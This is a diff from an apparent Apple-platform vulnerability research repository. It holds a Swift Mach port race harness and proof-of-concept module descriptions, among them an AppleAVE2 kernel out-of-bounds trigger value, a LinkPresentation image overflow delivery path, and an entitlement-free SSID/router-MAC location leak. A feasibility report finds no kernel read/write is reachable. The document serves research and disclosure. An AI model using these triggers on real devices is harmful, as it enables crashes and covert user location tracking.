copyFn = unsafeBitCast(v, to: CopyFn.self)
keysFn = unsafeBitCast(k, to: KeysFn.self)
}
func create(_ name: String) -> CFTypeRef? {
createFn(nil, name as CFString, nil, nil)
}
func copy(_ store: CFTypeRef, _ key: String) -> CFPropertyList? {
copyFn(store, key as CFString)
}
func keys(_ store: CFTypeRef, _ pattern: String) -> CFArray? {
keysFn(store, pattern as CFString)
}
}
+97 -9
View File
@@ -40,15 +40,20 @@ enum KernelIPC {
var deallocations: Int = 0
var budgetExhausted = false
var notificationsRefused = 0
/// Registrations that actually succeeded. Zero means the request-table path was
/// never armed, so the run says nothing about 112507.
var armed = 0
var kernelErrors: [String: Int] = [:]
var summary: String {
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
s += "send=\(sends) dealloc=\(deallocations)"
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
if notificationsRefused > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,")
s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。")
if armed == 0 && notifications > 0 {
s += tl("\n通知注册 0 次成功(内核返回 -300)—— 请求表路径从未被武装。")
s += tl("这次运行不是 112507 测试:没有请求表项,就没有可被竞态消费的索引。")
} else if notificationsRefused > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次(成功 ") + "\(armed)" + tl(" 次)。")
}
if !kernelErrors.isEmpty {
s += "\n" + kernelErrors.sorted { $0.value > $1.value }
@@ -82,8 +87,8 @@ enum KernelIPC {
/// send into the survivors, then release everything. Returns the counters it produced.
private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
refused: inout Int,
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) {
var alloc = 0, notify = 0, send = 0, dealloc = 0
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
var ports: [mach_port_name_t] = []
ports.reserveCapacity(depth)
@@ -109,7 +114,7 @@ enum KernelIPC {
let kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } }
if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
notify += 1
@@ -117,7 +122,7 @@ enum KernelIPC {
let kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } }
if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
notify += 1
}
@@ -164,7 +169,7 @@ enum KernelIPC {
}
dealloc += 1
}
return (alloc, notify, send, dealloc)
return (alloc, notify, send, dealloc, armed)
}
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
@@ -184,7 +189,7 @@ enum KernelIPC {
}
DispatchQueue.concurrentPerform(iterations: workers) { _ in
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
while Date() < deadline {
lock.lock()
@@ -205,6 +210,7 @@ enum KernelIPC {
localNotify += result.notify
localSend += result.send
localDealloc += result.dealloc
localArmed += result.armed
localOps += 4
lock.lock()
@@ -218,6 +224,7 @@ enum KernelIPC {
stats.notifications += localNotify
stats.sends += localSend
stats.deallocations += localDealloc
stats.armed += localArmed
lock.unlock()
}
@@ -255,4 +262,85 @@ enum KernelIPC {
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
return out
}
/// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
/// receive right while the send right survives, send into the dead name, then receive
/// the notification. No race, no frees of live request-table entries — this is the
/// sequence the 112507 race has to stay correct through.
///
/// The second half frees the dead name and measures whether the kernel hands the same
/// numeric name back to the next allocation. Name reuse is normal; the point is to
/// record the baseline before the racer starts churning the namespace.
static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
var lines: [String] = []
let task = mach_task_self_
var deadName = false
var reused = false
var notify: mach_port_t = 0
var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &notify)
lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
var target: mach_port_t = 0
kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
lines.append("target receive: \(name(kr)) name=\(target)")
guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
kr = mach_port_insert_right(task, target, target,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
lines.append("insert send right: \(name(kr))")
var prev: mach_port_t = 0
let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
kr = requestKR
lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
lines.append("drop receive right: \(name(kr))")
var hdr = mach_msg_header_t()
hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
hdr.msgh_remote_port = target
hdr.msgh_local_port = 0
hdr.msgh_id = 0
kr = mach_msg_send(&hdr)
lines.append("send to dead name: \(name(kr))")
// DEAD_NAME fires when the last send right is released, not when the receive
// right is dropped. Release it before waiting, otherwise the receive always
// times out and the baseline records a false negative.
kr = mach_port_deallocate(task, target)
lines.append("release last send right: \(name(kr))")
var buffer = [UInt8](repeating: 0, count: 256)
kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
0, mach_msg_size_t(raw.count), notify, 200, 0)
}
lines.append("receive notification: \(name(kr))")
if kr == KERN_SUCCESS {
let got = buffer.withUnsafeBytes {
$0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
}
deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
lines.append(" id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
}
for _ in 0..<64 {
var p: mach_port_t = 0
if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
if p == target { reused = true; mach_port_destroy(task, p); break }
mach_port_destroy(task, p)
}
}
lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
mach_port_destroy(task, notify)
return (lines, deadName, reused, requestKR)
}
}
+57 -1
View File
@@ -196,7 +196,7 @@ enum ModuleText {
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
""",
notes: """
The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index.
The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
"""),
"kern.decmpfs": Row(
@@ -511,5 +511,61 @@ enum ModuleText {
notes: """
Four channels at 8 bits each, while declaring bitsPerPixel = 8.
"""),
// MARK: arrivals (112705 / 112621 / 84636)
"ave.ntl": Row(
title: "AppleAVE2 temporal-layer property surface (NumberOfTemporalLayers)",
summary: """
The HEVC compression session forwards NumberOfTemporalLayers verbatim to the AppleAVE2 driver, which indexes a fixed-size layer table by the declared value. 16463 walks past the table: the first frame submit writes at a fixed offset in AppleAVE2 (+0xDA78) and the kernel data-aborts; 16462 survives. iOS 27.2 refuses the property at SetProperty with -12900. This module only covers the property surface — session, EncoderUsage=1, RCMode=20, NTL write and readback — and submits no frame.
""",
notes: """
The fire module submits the frame. The same driver is reachable on macOS: 16463 returns 0 at SetProperty there and reads back normalised to 1, so the value is accepted but not propagated; a frame submit still risks the host kernel. That is why the host builds this file but never executes the encode path.
"""),
"ave.ntl.fire": Row(
title: "AppleAVE2 temporal-layer out-of-bounds write (fire: one frame)",
summary: """
The full 112705 trigger: HEVC session → EncoderUsage=1 → RCMode=20 → NumberOfTemporalLayers=16463 → one frame. On iOS 27.0–27.1 the driver writes past its table while preparing that frame, the kernel data-aborts and the device reboots. Nothing returns in-process: the evidence is the processDied verdict on the overview after reboot and the panic .ips in Analytics.
""",
notes: """
Tap only on a device that is allowed to reboot. The simulator has no AVE2 hardware encoder, so encode only returns a status there; do not run the equivalent C encode path on macOS (same driver, panics the host). On 27.2 the property is refused at SetProperty and fire returns -12900 cleanly.
"""),
"lp.heic": Row(
title: "LinkPresentation two-frame size mismatch (pool accounting)",
summary: """
LPAnimatedImageTranscoder configures its video writer from frame 0's pixel size, while encodeNextFrame takes the draw width/height from the current decoded frame and draws into the pool allocated for frame 0. A 256×16 then 256×48 container makes CGContextClearRect clear 48 rows (49,152 bytes) into a 16,384-byte pool — 32,768 bytes past the end. This module only builds the container and checks frames against pool capacity; it does not transcode.
""",
notes: """
Width must stay equal: CoreGraphics rejects a width that exceeds the pool's row stride, so a 512-wide second frame fails at CGBitmapContextCreate and never reaches the clear. HEIC is the advisory carrier; when the platform cannot encode it the module falls back to TIFF delivered as image/gif — LPImage's _isAnimated trusts the response MIME, ImageIO still identifies the content.
"""),
"lp.heic.fire": Row(
title: "LinkPresentation link-preview out-of-bounds write (fire: loopback + LPMetadataProvider)",
summary: """
The public delivery path: a loopback endpoint serves one HTML page and one image, the page's og:image points at the two-frame container, and LPMetadataProvider fetches it. LinkPresentation reads the page, fetches the image, builds the pool and enters LPAnimatedImageTranscoder. iOS 27.0/27.1 writes out of bounds on the transcoder queue and dies with SIGBUS/SIGSEGV; 27.2 compares the current frame with frame 0 in encodeNextFrame and fails the transcode without drawing.
""",
notes: """
This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
"""),
"kern.ipc.lifecycle": Row(
title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
summary: """
A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
""",
notes: """
This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
"""),
"sc.dynamicstore": Row(
title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
summary: """
configd's dynamic store exposes en0/AirPort (SSID_STR, BSSID, channel, auth type) and the service IPv4 entry's ARPResolvedHardwareAddress (router MAC), plus Global/DNS, DHCP leases and Bluetooth/hotspot/AutoUnlock state, to any sandboxed process. SCDynamicStoreCreate + CopyValue needs no com.apple.developer.networking.wifi-info and triggers no location prompt, while the supported CNCopyCurrentNetworkInfo returns nil in the same process. SSID plus router MAC is enough for WiGLE/Google wireless geolocation (~10–30 m).
""",
notes: """
The module prints both paths side by side: the supported API's answer and the raw dynamic-store dictionary. The simulator usually has no en0/AirPort entry (the Mac side runs on utun); a real device on Wi-Fi supplies SSID and ARP. An absent key is still a valid result — it means the platform converged the surface.
"""),
]
}
+156
View File
@@ -0,0 +1,156 @@
# Kernel read/write feasibility — high and critical dossiers
Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
Question: can any of them be turned into arbitrary kernel read/write that does not
panic the device?
Short answer: **no, not from the material as it stands.** One entry gives a real
kernel heap leak (read), one gives a bounded read model, one gives a race receipt
on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
never reach the kernel interface at all. This document records what each primitive
actually provides, what an arbitrary-R/W chain still needs, and what was added to
the POCs.
## Guardrails
- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
never executed on the host again; its C twin refuses to submit a frame without
`--force-host`.
- No blind kernel writes are attempted from any POC. A wrong guess in the kernel
heap is a panic, not a data point.
- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
the write primitives cannot be exercised there either. Their app modules are
split into a safe probe and a deliberate fire module.
## Primitive inventory
| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
|---|---|---|---|---|---|
| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. |
| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
## What arbitrary kernel R/W actually requires
Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
one of them is a chain step, not a chain.
1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
pointer, and a heap pointer alone does not give the slide.
2. **Heap grooming** — deterministic placement of a victim object next to the
corrupted allocation, in the same zone, at the same size class.
3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
slot with attacker-influenced contents, and keep a stale reference alive. For an
OOB write: a value and an offset that land on a field worth corrupting.
4. **A read/write gadget** — an object whose corrupted field yields a load or store
of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
thread's `pcb` pointer).
5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
protected by PPL on modern devices. A data-only path can sometimes avoid both,
but it still needs 1–4.
None of the six entries supplies 2–5. 112507 is the only one that could plausibly
reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
strategy that the repository does not have.
## Per-entry notes
### CVE-2026-112705 — fixed constant, fixed offset
The driver indexes a layer table with the declared count and writes a constant at a
fixed offset past it. There is no attacker-chosen value and no attacker-chosen
address. The only observable is a kernel data abort. Calling this "R/W" would
require a second bug that turns the corrupted field into a pointer; nothing in the
dossier provides one. The correct classification is a reliable kernel DoS.
### CVE-2026-112507 — reachability closed on the device (2026-10-31)
The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1)
with an ad-hoc signed build, and the race module was re-run with an `armed` counter:
- `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`.
- Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`.
- `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**.
- On macOS 27 the same call was swept over 13 combinations of notification type
(SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout
(receive-only, send+receive, send-only; notify port receive or send). Every
combination returned -300.
The kernel refuses to arm a request-table entry for this process. With no entry,
the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot
be driven from an unentitled third-party app, and the "survived" line from the old
harness was measuring port churn, not the bug. The published fix shape (NULL checks
on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
reclaimable object.
**Verdict: closed for this app.** The remaining hypothetical is a platform process
that is allowed to register notifications; that is outside Cinder27's reach.
### CVE-2026-112507 — the race itself
The ring allocates receive rights, arms two notification kinds per port, tears down
half the ring, then sends to the survivors. The request-table index consumers are
the target of the race. A weaponised version would need:
- a win condition that is observable without panicking (a receipt, not a crash);
- a same-zone reclaim object with controllable contents (Mach ports themselves are
one candidate, but the request-table entry's layout is not attacker-shaped);
- a stale consumer that dereferences the reclaimed slot after the free;
- a leak to place the reclaim object and to find the kernel base.
The POC records `-300` and `invalid destination` receipts and reports that the
interleaving survived. That is the honest limit of a userspace race harness: it can
show the window exists, not that the window is controllable.
### CVE-2026-113910 — the leak that was worth improving
This is the only entry where more code produces more signal. The C twin now:
- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
chunk and writes none of it);
- repeats the sweep `--loop N` times;
- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
(`0xffffffe0…`), kernel-other, or user;
- writes the raw readback to `--keep out.bin` for offline analysis;
- never dereferences a candidate.
On the macOS host decmpfs does not engage for a file that already has data (the
documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
readback. On an iOS device where the chunked xattr is honoured, the same sweep is
the KASLR step. It still does not write.
### CVE-2026-112554 — a read-width model, not a kernel reader
The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
It proves the scan width (72 B against a 28-B field) but the bytes come from the
image, not from the kernel heap. Treat it as a seed/oracle model. The real read
would have to run through the storage kext on a mounted image; that is not attempted
on the host.
## What was deliberately not done
- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
panic is not evidence of control.
- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
guess is indistinguishable from a bug that does not work.
- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
the free/reclaim/stale-dereference sequence is observed.
## Bottom line
Arbitrary kernel R/W without a panic is **not achievable from these six entries as
shipped**, and the one entry that had a theoretical UAF path (112507) is now closed
by device evidence: notification registration is refused, so the request table is
never armed. The maximum safe capability the lab demonstrates is:
- a repeatable kernel heap **leak** with pointer classification (113910);
- a read-width model for the GPT scan (112554);
- a race-window harness with receipts (112507);
- honest negatives for the write entries that never reach a controllable primitive.
The next real step is not more code in this repository; it is a device session with
kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.